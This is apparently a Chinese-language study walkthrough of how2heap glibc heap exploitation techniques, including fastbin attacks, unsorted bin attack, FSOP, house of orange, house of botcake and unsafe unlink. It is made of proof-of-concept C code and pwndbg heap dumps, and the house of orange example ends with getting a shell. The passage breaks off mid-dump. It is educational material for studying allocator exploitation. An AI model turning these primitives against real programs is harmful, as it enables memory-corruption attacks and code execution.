Allocated chunk | PREV_INUSE
Addr: 0x405000
Size: 0x71
Allocated chunk | PREV_INUSE
Addr: 0x405070
Size: 0x91
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x405100
Size: 0x91
fd: 0x7ffff7dd1b78
bk: 0x7ffff7dd1b78
Allocated chunk
Addr: 0x405190
Size: 0x70
Top chunk | PREV_INUSE
Addr: 0x405200
Size: 0x20e01
申请比第三个堆小的第五个堆使得它从unsorted bin
中切割并且fd
中有main arena
地址,由此得到malloc_hook
地址
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x405000
Size: 0x71
Allocated chunk | PREV_INUSE
Addr: 0x405070
Size: 0x91
Allocated chunk | PREV_INUSE
Addr: 0x405100
Size: 0x71
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x405170
Size: 0x21
fd: 0x7ffff7dd1b78
bk: 0x7ffff7dd1b78
Allocated chunk
Addr: 0x405190
Size: 0x70
Top chunk | PREV_INUSE
Addr: 0x405200
Size: 0x20e01
pwndbg> x/20gx 0x405100
0x405100: 0x0000000000000000 0x0000000000000071
0x405110: 0x00007ffff7dd1bf8 0x00007ffff7dd1bf8
0x405120: 0x0000000000000000 0x0000000000000000
0x405130: 0x0000000000000000 0x0000000000000000
0x405140: 0x0000000000000000 0x0000000000000000
0x405150: 0x0000000000000000 0x0000000000000000
0x405160: 0x0000000000000000 0x0000000000000000
前后释放第四个堆和第一个堆,在fast bin
中有第一个堆指向第四个堆,高地址便于修改为低地址
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x405000 —▸ 0x405190 ◂— 0x0
0x80: 0x0
unsortedbin
all: 0x405170 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x405170 /* 'pQ@' */
smallbins
empty
largebins
empty
将第一个堆的fd
改成第五个堆,即unsorted bin
中切割出来的堆,而该堆指向了main arena
,再通过相同的方式将第五个堆的fd
改成malloc_hook - 0x23
(绕过size
检测)
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x405000 —▸ 0x405100 —▸ 0x7ffff7dd1aed (_IO_wide_data_0+301) ◂— 0xfff7a92ea0000000
0x80: 0x0
unsortedbin
all: 0x405170 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x405170 /* 'pQ@' */
smallbins
empty
largebins
empty
接下来进行unsorted bin attack
,创建大小为0x80
的第六个堆,再创建一个堆来防止该堆与top chunk
合并,释放第六个堆并把bk
修改低位改成malloc_hook - 0x10
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0xfff7a92ea0000000
0x80: 0x0
unsortedbin
all [corrupted]
FD: 0x405200 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x405200
BK: 0x405200 —▸ 0x7ffff7dd1b00 (__memalign_hook) ◂— 0x0
smallbins
0x20: 0x405170 —▸ 0x7ffff7dd1b88 (main_arena+104) ◂— 0x405170 /* 'pQ@' */
largebins
empty
将这个堆申请出来,此时malloc_hook
中的值就被改成了main arena
,因为main arena
的地址除了低位其他与system
相同
pwndbg> p __malloc_hook
$1 = (void *(*)(size_t, const void *)) 0x7ffff7dd1b78 <main_arena+88>
最后通过bin
里的堆改malloc_hook
低位为system
即可将malloc_hook
改成system
FSOP
#define _IO_list_all 0x7ffff7dd2520
#define mode_offset 0xc0
#define writeptr_offset 0x28
#define writebase_offset 0x20
#define vtable_offset 0xd8
int main(void)
{
void *ptr;
long long *list_all_ptr;
ptr=malloc(0x200);
*(long long*)((long long)ptr+mode_offset)=0x0;
*(long long*)((long long)ptr+writeptr_offset)=0x1;
*(long long*)((long long)ptr+writebase_offset)=0x0;
*(long long*)((long long)ptr+vtable_offset)=((long long)ptr+0x100);
*(long long*)((long long)ptr+0x100+24)=0x41414141;
list_all_ptr=(long long *)_IO_list_all;
list_all_ptr[0]=ptr;
exit(0);
}
原理是劫持_IO_list_all
,IO_FILE
结构体链表通过_chain
域连接stderr
、stdout
、stdin
,链表的表头是_IO_list_all
,_IO_list_all
和vtable
链表中各项的偏移如下
0x0 _flags
0x8 _IO_read_ptr
0x10 _IO_read_end
0x18 _IO_read_base
0x20 _IO_write_base
0x28 _IO_write_ptr
0x30 _IO_write_end
0x38 _IO_buf_base
0x40 _IO_buf_end
0x48 _IO_save_base
0x50 _IO_backup_base
0x58 _IO_save_end
0x60 _markers
0x68 _chain
0x70 _fileno
0x74 _flags2
0x78 _old_offset
0x80 _cur_column
0x82 _vtable_offset
0x83 _shortbuf
0x88 _lock
0x90 _offset
0x98 _codecvt
0xa0 _wide_data
0xa8 _freeres_list
0xb0 _freeres_buf
0xb8 __pad5
0xc0 _mode
0xc4 _unused2
0xd8 vtable
0x0 __dummy
0x8 __dummy2
0x10 __finish
0x18 __overflow
0x20 __underflow
0x28 __uflow
0x30 __pbackfail
0x38 __xsputn
0x40 __xsgetn
0x48 __seekoff
0x50 __seekpos
0x58 __setbuf
0x60 __sync
0x68 __doallocate
0x70 __read
0x78 __write
0x80 __seek
0x88 __close
0x90 __stat
0x98 __showmanyc
0xa0 __imbue
pwndbg> p _IO_list_all->file._chain
$2 = (struct _IO_FILE *) 0x7ffff7dd2540 <_IO_2_1_stderr_>
pwndbg> p _IO_list_all->file._chain._chain
$3 = (struct _IO_FILE *) 0x7ffff7dd2620 <_IO_2_1_stdout_>
pwndbg> p _IO_list_all->file._chain._chain._chain
$4 = (struct _IO_FILE *) 0x7ffff7dd18e0 <_IO_2_1_stdin_>
FSOP
利用主要是劫持libc
中的_IO_list_all
的vtable
中__overflow
函数地址,之后通过调用abort/exit/main
来触发_IO_flush_all_lockp
用于最终调用_IO_OVERFLOW
刷新_IO_list_all
链表
int
_IO_flush_all_lockp (int do_lock)
{
...
fp = (_IO_FILE *) _IO_list_all;
while (fp != NULL)
{
...
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))
&& _IO_OVERFLOW (fp, EOF) == EOF)
{
result = EOF;
}
...
}
}
调用_IO_OVERFLOW
还需要绕过if
判断
(fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
首先创建一个堆并在堆中伪造了一个_IO_list_all
,满足if
中的判断,并且ptr+0x100+24
处是_IO_list_all
的vtable
中的__overflow
函数地址,最后改_IO_list_all
为伪造的地址
pwndbg> p *_IO_list_all
$19 = {
file = {
_flags = 0,
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x1 <error: Cannot access memory at address 0x1>,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0,
_flags2 = 0,
_old_offset = 0,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x0,
_offset = 0,
_codecvt = 0x0,
_wide_data = 0x0,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = 0,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x405110
}
pwndbg> p *_IO_list_all->vtable
$18 = {
__dummy = 0,
__dummy2 = 0,
__finish = 0x0,
__overflow = 0x41414141,
__underflow = 0x0,
__uflow = 0x0,
__pbackfail = 0x0,
__xsputn = 0x0,
__xsgetn = 0x0,
__seekoff = 0x0,
__seekpos = 0x0,
__setbuf = 0x0,
__sync = 0x0,
__doallocate = 0x0,
__read = 0x0,
__write = 0x0,
__seek = 0x0,
__close = 0x0,
__stat = 0x0,
__showmanyc = 0x0,
__imbue = 0x0
}
house_of_orange(top chunk + FSOP)
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/syscall.h>
int winner ( char *ptr);
int main()
{
char *p1, *p2;
size_t io_list_all, *top;
p1 = malloc(0x400-16);
top = (size_t *) ( (char *) p1 + 0x400 - 16);
top[1] = 0xc01;
p2 = malloc(0x1000);
io_list_all = top[2] + 0x9a8;
top[3] = io_list_all - 0x10;
memcpy( ( char *) top, "/bin/sh\x00", 8);
top[1] = 0x61;
FILE *fp = (FILE *) top;
fp->_mode = 0; // top+0xc0
fp->_IO_write_base = (char *) 2; // top+0x20
fp->_IO_write_ptr = (char *) 3; // top+0x28
size_t *jump_table = &top[12]; // controlled memory
jump_table[3] = (size_t) &winner;
*(size_t *) ((size_t) fp + sizeof(FILE)) = (size_t) jump_table; // top+0xd8
malloc(10);
return 0;
}
int winner(char *ptr)
{
system(ptr);
syscall(SYS_exit, 0);
return 0;
}
利用top_chunk
在其他bins
不满足的情况下可以进入unsorted bin
的特点,但是需要满足条件
assert ((old_top == initial_top (av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse (old_top) &&
((unsigned long) old_end & (pagesize - 1)) == 0));
伪造的
size
必须要对齐到内存页0x400
(ptr + size
对齐)
size
要大于MINSIZE(0x10)
size
要小于之后申请的chunk size + MINSIZE(0x10)
size
的prev inuse
位必须为1
先创建一个0x400
的堆,申请的大小是0x3f0
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x405000
Size: 0x401
Top chunk | PREV_INUSE
Addr: 0x405400
Size: 0x20c01
接着改top chunk
大小为0xc01
,此时top chunk
地址加上大小刚好可以页对齐
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x405000
Size: 0x401
Top chunk | PREV_INUSE
Addr: 0x405400
Size: 0xc01
pwndbg> p/x 0x405400 + 0xc00
$1 = 0x406000
此时再创建一个0x1000
的堆,使得top chunk
进入unsorted bin
,此时fd
和bk
中存在libc
地址,由此可以计算出_IO_list_all
的地址,在此过程中由于申请的堆大于top chunk
,所以向系统申请了新的top chunk
,地址在旧的top chunk
之后,因此旧的top chunk
进入了unsorted bin
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x405000
Size: 0x400 (with flag bits: 0x401)
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x405400
Size: 0xbe0 (with flag bits: 0xbe1)
fd: 0x7ffff7dd1b78
bk: 0x7ffff7dd1b78
Allocated chunk
Addr: 0x405fe0
Size: 0x10 (with flag bits: 0x10)
Allocated chunk | PREV_INUSE
Addr: 0x405ff0
Size: 0x10 (with flag bits: 0x11)
Allocated chunk
Addr: 0x406000
Size: 0x00 (with flag bits: 0x00)
pwndbg> x/gx 0x7ffff7dd1b78 + 0x9a8
0x7ffff7dd2520 <_IO_list_all>: 0x00007ffff7dd2540
接下来将top
地址赋值给fp
后直接伪造_IO_list_all
中的内容来满足检查,并在top chunk
中存/bin/sh
,改__overflow
地址为winner
memcpy( ( char *) top, "/bin/sh\x00", 8);
top[1] = 0x61;
FILE *fp = (FILE *) top;
fp->_mode = 0;
fp->_IO_write_base = (char *) 2;
fp->_IO_write_ptr = (char *) 3;
size_t *jump_table = &top[12]; //取一个地址为vtable
jump_table[3] = (size_t) &winner; //__overflow在跳表中的`index`是3
*(size_t *) ((size_t) fp + sizeof(FILE)) = (size_t) jump_table; //在fp最后设置vtable
pwndbg> x/20gx 0x0000000000405400
0x405400: 0x0068732f6e69622f 0x0000000000000061
0x405410: 0x00007ffff7dd1b78 0x00007ffff7dd2510
0x405420: 0x0000000000000002 0x0000000000000003
0x405430: 0x0000000000000000 0x0000000000000000
0x405440: 0x0000000000000000 0x0000000000000000
0x405450: 0x0000000000000000 0x0000000000000000
0x405460: 0x0000000000000000 0x0000000000000000
0x405470: 0x0000000000000000 0x000000000040129b
0x405480: 0x0000000000000000 0x0000000000000000
0x405490: 0x0000000000000000 0x0000000000000000
pwndbg>
0x4054a0: 0x0000000000000000 0x0000000000000000
0x4054b0: 0x0000000000000000 0x0000000000000000
0x4054c0: 0x0000000000000000 0x0000000000000000
0x4054d0: 0x0000000000000000 0x0000000000405460
pwndbg> p jump_table
$52 = (size_t *) 0x405460
pwndbg> p *fp
$4 = {
_flags = 1852400175,
_IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>,
_IO_read_end = 0x7ffff7dd1b78 <main_arena+88> "\020pB",
_IO_read_base = 0x7ffff7dd2510 "",
_IO_write_base = 0x2 <error: Cannot access memory at address 0x2>,
_IO_write_ptr = 0x3 <error: Cannot access memory at address 0x3>,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0,
_flags2 = 0,
_old_offset = 4199067,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x0,
_offset = 0,
_codecvt = 0x0,
_wide_data = 0x0,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = 0,
_unused2 = '\000' <repeats 19 times>
}
此时bin
中是存在问题的,如果创建堆就会报错
pwndbg> bin
fastbins
empty
unsortedbin
all [corrupted]
FD: 0x405400 —▸ 0x7ffff7dd1bc8 (main_arena+168) ◂— 0x405400
BK: 0x7ffff7dd2510 ◂— 0x0
smallbins
0x60: 0x405400 —▸ 0x7ffff7dd1bc8 (main_arena+168) ◂— 0x405400
largebins
empty
最后malloc
来触发abort
使得_IO_list_all
变成我们伪造的内容
pwndbg>
*** Error in `/home/starrysky/how2heap-master/glibc_2.23/house_of_orange': malloc(): memory corruption: 0x00007ffff7dd2520 ***
35 in ../sysdeps/unix/sysv/linux/libc_fatal.c
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x7ffff7a847e0 <__libc_message+704> cmp rbx, r12
0x7ffff7a847e3 <__libc_message+707> sete sil
0x7ffff7a847e7 <__libc_message+711> mov edx, dword ptr [rbp - 0x84]
0x7ffff7a847ed <__libc_message+717> mov edi, r15d
0x7ffff7a847f0 <__libc_message+720> call backtrace_and_maps <backtrace_and_maps>
► 0x7ffff7a847f5 <__libc_message+725> call abort <abort>
0x7ffff7a847fa nop word ptr [rax + rax]
0x7ffff7a84800 <__libc_fatal> push rbx
0x7ffff7a84801 <__libc_fatal+1> mov rbx, rdi
0x7ffff7a84804 <__libc_fatal+4> nop dword ptr [rax]
0x7ffff7a84808 <__libc_fatal+8> lea rsi, [rip + 0x117bba]
执行winner
后成功getshell
glibc_2.27
2.27
和2.23
的主要区别就是引入了tcache
,但同时也去掉了一些检测
fastbin_dup(double free)
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
int main()
{
setbuf(stdout, NULL);
void *ptrs[8];
for (int i=0; i<8; i++) {
ptrs[i] = malloc(8);
}
for (int i=0; i<7; i++) {
free(ptrs[i]);
}
int *a = calloc(1, 8);
int *b = calloc(1, 8);
int *c = calloc(1, 8);
free(a);
free(b);
free(a);
a = calloc(1, 8);
b = calloc(1, 8);
c = calloc(1, 8);
assert(a == c);
}
填满tcache
之后正常利用double free
先创建7个堆并释放以填满tcache
pwndbg> bin
tcachebins
0x20 [ 7]: 0x405360 —▸ 0x405340 —▸ 0x405320 —▸ 0x405300 —▸ 0x4052e0 —▸ 0x4052c0 —▸ 0x4052a0 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
创建三个堆,先释放前两个堆,再释放第一个堆,造成double free
,bin
中由第一个堆指向第二个堆再指向第一个堆
pwndbg> bin
tcachebins
0x20 [ 7]: 0x405360 —▸ 0x405340 —▸ 0x405320 —▸ 0x405300 —▸ 0x4052e0 —▸ 0x4052c0 —▸ 0x4052a0 ◂— 0x0
fastbins
0x20: 0x405390 —▸ 0x4053b0 ◂— 0x405390
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
此时创建三个堆,第一三个堆为同一个堆
fastbin_dup_into_stack
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
int main()
{
void *ptrs[7];
for (int i=0; i<7; i++) {
ptrs[i] = malloc(8);
}
for (int i=0; i<7; i++) {
free(ptrs[i]);
}
unsigned long long stack_var;
int *a = calloc(1,8);
int *b = calloc(1,8);
int *c = calloc(1,8);
free(a);
free(b);
free(a);
unsigned long long *d = calloc(1,8);
stack_var = 0x20;
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
void *p = calloc(1,8);
assert(p == 8+(char *)&stack_var);
}
利用fastbin_dup
即double free
,申请出第一个堆之后将fd
位置改成栈上的地址,于是栈上地址就会出现在bin
链中,就能被申请出来了
fastbin_reverse_into_tcache
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
const size_t allocsize = 0x40;
int main(){
setbuf(stdout, NULL);
char* ptrs[14];
size_t i;
for (i = 0; i < 14; i++) {
ptrs[i] = malloc(allocsize);
}
for (i = 0; i < 7; i++) {
free(ptrs[i]);
}
char* victim = ptrs[7];
free(victim);
for (i = 8; i < 14; i++) {
free(ptrs[i]);
}
size_t stack_var[6];
memset(stack_var, 0xcd, sizeof(stack_var));
*(size_t**)victim = &stack_var[0];
for (i = 0; i < 7; i++) {
ptrs[i] = malloc(allocsize);
}
for (i = 0; i < 6; i++) {
printf("%p: %p\n", &stack_var[i], (char*)stack_var[i]);
}
malloc(allocsize);
for (i = 0; i < 6; i++) {
printf("%p: %p\n", &stack_var[i], (char*)stack_var[i]);
}
char *q = malloc(allocsize);
assert(q == (char *)&stack_var[2]);
return 0;
}
填满tcache
之后填入fastbin
并改fd
为目的地址,再从tcache
申请堆之后fastbin
中的堆会落到tcache
,顺延申请到目的地址
创建了14
个堆之后全部释放
pwndbg> bin
tcachebins
0x50 [ 7]: 0x405440 —▸ 0x4053f0 —▸ 0x4053a0 —▸ 0x405350 —▸ 0x405300 —▸ 0x4052b0 —▸ 0x405260 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x405660 —▸ 0x405610 —▸ 0x4055c0 —▸ 0x405570 —▸ 0x405520 ◂— ...
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
将fastbin
中第一个堆的fd
改成目标地址
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x405000
Size: 0x251
Free chunk (tcache) | PREV_INUSE
Addr: 0x405250
Size: 0x51
fd: 0x00
Free chunk (tcache) | PREV_INUSE
Addr: 0x4052a0
Size: 0x51
fd: 0x405260
Free chunk (tcache) | PREV_INUSE
Addr: 0x4052f0
Size: 0x51
fd: 0x4052b0
Free chunk (tcache) | PREV_INUSE
Addr: 0x405340
Size: 0x51
fd: 0x405300
Free chunk (tcache) | PREV_INUSE
Addr: 0x405390
Size: 0x51
fd: 0x405350
Free chunk (tcache) | PREV_INUSE
Addr: 0x4053e0
Size: 0x51
fd: 0x4053a0
Free chunk (tcache) | PREV_INUSE
Addr: 0x405430
Size: 0x51
fd: 0x4053f0
Free chunk (fastbins) | PREV_INUSE
Addr: 0x405480
Size: 0x51
fd: 0x7fffffffdc60 <-- target
...
将tachce
全部申请完再申请一次之后目的地址会出现在tcache
pwndbg> bin
tcachebins
0x50 [ 7]: 0x7fffffffdc70 —▸ 0x405490 —▸ 0x4054e0 —▸ 0x405530 —▸ 0x405580 —▸ 0x4055d0 —▸ 0x405620 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0xcdcdcdcdcdcdcdcd
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
house_of_botcake(double free)
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>
int main()
{
setbuf(stdin, NULL);
setbuf(stdout, NULL);
intptr_t stack_var[4];
intptr_t *x[7];
for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){
x[i] = malloc(0x100);
}
intptr_t *prev = malloc(0x100);
intptr_t *a = malloc(0x100);
malloc(0x10);
for(int i=0; i<7; i++){
free(x[i]);
}
free(a);
free(prev);
malloc(0x100);
free(a);
intptr_t *b = malloc(0x120);
b[0x120/8-2] = (long)stack_var;
malloc(0x100);
intptr_t *c = malloc(0x100);
assert(c==stack_var);
return 0;
}
利用double free
使得同一个堆同时出现在tcache
和unsorted bin
造成堆块重叠
创建7个堆填满tcache
,两个堆用于填入unsorted bin
,最后一个堆防止和top chunk
合并
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x405000
Size: 0x251
Allocated chunk | PREV_INUSE
Addr: 0x405250
Size: 0x111
Allocated chunk | PREV_INUSE
Addr: 0x405360
Size: 0x111
Allocated chunk | PREV_INUSE
Addr: 0x405470
Size: 0x111
Allocated chunk | PREV_INUSE
Addr: 0x405580
Size: 0x111
Allocated chunk | PREV_INUSE
Addr: 0x405690
Size: 0x111
Allocated chunk | PREV_INUSE
Addr: 0x4057a0
Size: 0x111
Allocated chunk | PREV_INUSE
Addr: 0x4058b0
Size: 0x111
Allocated chunk | PREV_INUSE
Addr: 0x4059c0
Size: 0x111
Allocated chunk | PREV_INUSE
Addr: 0x405ad0
Size: 0x111
Allocated chunk | PREV_INUSE
Addr: 0x405be0
Size: 0x21
Top chunk | PREV_INUSE
Addr: 0x405c00
Size: 0x20401
将所有堆释放以进入对应的bin
,其中unsorted bin
中的两个堆合并
pwndbg> bin
tcachebins
0x110 [ 7]: 0x4058c0 —▸ 0x4057b0 —▸ 0x4056a0 —▸ 0x405590 —▸ 0x405480 —▸ 0x405370 —▸ 0x405260 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x4059c0 —▸ 0x7ffff7dcfca0 (main_arena+96) ◂— 0x4059c0
smallbins
empty
largebins
empty
创建一个堆让tcache
有一个空位
pwndbg> bin
tcachebins
0x110 [ 6]: 0x4057b0 —▸ 0x4056a0 —▸ 0x405590 —▸ 0x405480 —▸ 0x405370 —▸ 0x405260 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x4059c0 —▸ 0x7ffff7dcfca0 (main_arena+96) ◂— 0x4059c0
smallbins
empty
largebins
empty
再次释放unsorted bin
的第一个堆使其进入tcache
,此时tcache
和unsorted bin
的第一个堆是同一个堆,造成了堆块重叠
pwndbg> bin
tcachebins
0x110 [ 7]: 0x405ae0 —▸ 0x4057b0 —▸ 0x4056a0 —▸ 0x405590 —▸ 0x405480 —▸ 0x405370 —▸ 0x405260 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x4059c0 —▸ 0x7ffff7dcfca0 (main_arena+96) ◂— 0x4059c0
smallbins
empty
largebins
empty
pwndbg> x/20gx 0x405ad0
0x405ad0: 0x0000000000000000 0x0000000000000111
0x405ae0: 0x00000000004057b0 0x00007ffff7dcfca0
0x405af0: 0x0000000000000000 0x0000000000000000
0x405b00: 0x0000000000000000 0x0000000000000000
0x405b10: 0x0000000000000000 0x0000000000000000
0x405b20: 0x0000000000000000 0x0000000000000000
0x405b30: 0x0000000000000000 0x0000000000000000
0x405b40: 0x0000000000000000 0x0000000000000000
0x405b50: 0x0000000000000000 0x0000000000000000
0x405b60: 0x0000000000000000 0x0000000000000000
创建一个比释放的堆大一点的堆,这个堆会从unsorted bin
中切割,且和tcache
中第一个地址相同
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x405000
Size: 0x251
Free chunk (tcache) | PREV_INUSE
Addr: 0x405250
Size: 0x111
fd: 0x00
Free chunk (tcache) | PREV_INUSE
Addr: 0x405360
Size: 0x111
fd: 0x405260
Free chunk (tcache) | PREV_INUSE
Addr: 0x405470
Size: 0x111
fd: 0x405370
Free chunk (tcache) | PREV_INUSE
Addr: 0x405580
Size: 0x111
fd: 0x405480
Free chunk (tcache) | PREV_INUSE
Addr: 0x405690
Size: 0x111
fd: 0x405590
Free chunk (tcache) | PREV_INUSE
Addr: 0x4057a0
Size: 0x111
fd: 0x4056a0
Allocated chunk | PREV_INUSE
Addr: 0x4058b0
Size: 0x111
Allocated chunk | PREV_INUSE
Addr: 0x4059c0
Size: 0x131
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x405af0
Size: 0xf1
fd: 0x7ffff7dcfca0
bk: 0x7ffff7dcfca0
Allocated chunk
Addr: 0x405be0
Size: 0x20
Top chunk | PREV_INUSE
Addr: 0x405c00
Size: 0x20401
修改刚创建的堆的fd
位置,此时tcache
中的堆会被修改,实现任意地址写
pwndbg> bin
tcachebins
0x110 [ 7]: 0x405ae0 —▸ 0x7fffffffdcf0 —▸ 0x7fffffffdd58 —▸ 0x7fffffffde28 —▸ 0x7fffffffe1c1 ◂— '/home/starrysky/how2heap/how2heap/glibc_2.27/house_of_botcake'
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x405af0 —▸ 0x7ffff7dcfca0 (main_arena+96) ◂— 0x405af0
smallbins
empty
largebins
empty
unsafe_unlink(unlink)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
uint64_t *chunk0_ptr;
int main()
{
setbuf(stdout, NULL);
int malloc_size = 0x420;
int header_size = 2;
chunk0_ptr = (uint64_t*) malloc(malloc_size);
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size);
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
chunk1_hdr[0] = malloc_size;
chunk1_hdr[1] &= ~1;
free(chunk1_ptr);
char victim_string[8];
strcpy(victim_string,"Hello!~");
chunk0_ptr[3] = (uint64_t) victim_string;
chunk0_ptr[0] = 0x4141414142424242LL;
assert(*(long *)victim_string == 0x4141414142424242L);
}
tcache
最大范围是0x408
,超过这个范围的会被释放到unsorted bin
创建属于unsorted bin
的堆之后伪造一个堆绕过unlink
的检查
unlink
相关检查
/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) {
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))
malloc_printerr ("corrupted size vs. prev_size");
FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr ("corrupted double-linked list");
else {
FD->bk = BK;
BK->fd = FD;
if (!in_smallbin_range (chunksize_nomask (P))
&& __builtin_expect (P->fd_nextsize != NULL, 0)) {
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
malloc_printerr ("corrupted double-linked list (not small)");
if (FD->fd_nextsize == NULL) {
if (P->fd_nextsize == P)
FD->fd_nextsize = FD->bk_nextsize = FD;
else {
FD->fd_nextsize = P->fd_nextsize;
FD->bk_nextsize = P->bk_nextsize;
P->fd_nextsize->bk_nextsize = FD;
P->bk_nextsize->fd_nextsize = FD;
}
} else {
P->fd_nextsize->bk_nextsize = P->bk_nextsize;
P->bk_nextsize->fd_nextsize = P->fd_nextsize;
}
}
}
}
伪造堆需要绕过:FD->bk = BK; BK->fd = FD;
伪造完成后改地址相邻的下一个堆的的prve_size
为伪造的堆大小、inuse
位为0
再释放掉它即可向后合并取消连接fake chunk
先创建两个堆
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x405000
Size: 0x251
Allocated chunk | PREV_INUSE
Addr: 0x405250
Size: 0x431
Allocated chunk | PREV_INUSE
Addr: 0x405680
Size: 0x431
Top chunk | PREV_INUSE
Addr: 0x405ab0
Size: 0x20551
在第一个堆伪造一个堆的fd、bk
并把第二个堆inuse
位和prve_size
位改掉
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x405000
Size: 0x251
Allocated chunk | PREV_INUSE
Addr: 0x405250
Size: 0x431
Allocated chunk
Addr: 0x405680
Size: 0x430
Top chunk | PREV_INUSE
Addr: 0x405ab0
Size: 0x20551
pwndbg> x/20gx 0x405250
0x405250: 0x0000000000000000 0x0000000000000431
0x405260: 0x0000000000000000 0x0000000000000000
0x405270: 0x0000000000404050 0x0000000000404058
0x405280: 0x0000000000000000 0x0000000000000000
0x405290: 0x0000000000000000 0x0000000000000000
0x4052a0: 0x0000000000000000 0x0000000000000000
0x4052b0: 0x0000000000000000 0x0000000000000000
0x4052c0: 0x0000000000000000 0x0000000000000000
0x4052d0: 0x0000000000000000 0x0000000000000000
0x4052e0: 0x0000000000000000 0x0000000000000000
pwndbg> x/20gx 0x405680
0x405680: 0x0000000000000420 0x0000000000000430
0x405690: 0x0000000000000000 0x0000000000000000
0x4056a0: 0x0000000000000000 0x0000000000000000
0x4056b0: 0x0000000000000000 0x0000000000000000
0x4056c0: 0x0000000000000000 0x0000000000000000
0x4056d0: 0x0000000000000000 0x0000000000000000
0x4056e0: 0x0000000000000000 0x0000000000000000
0x4056f0: 0x0000000000000000 0x0000000000000000
0x405700: 0x0000000000000000 0x0000000000000000
0x405710: 0x0000000000000000 0x0000000000000000
释放第二个堆即可通过第一个堆去改任意地址的内容
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x405000
Size: 0x251
Allocated chunk | PREV_INUSE
Addr: 0x405250
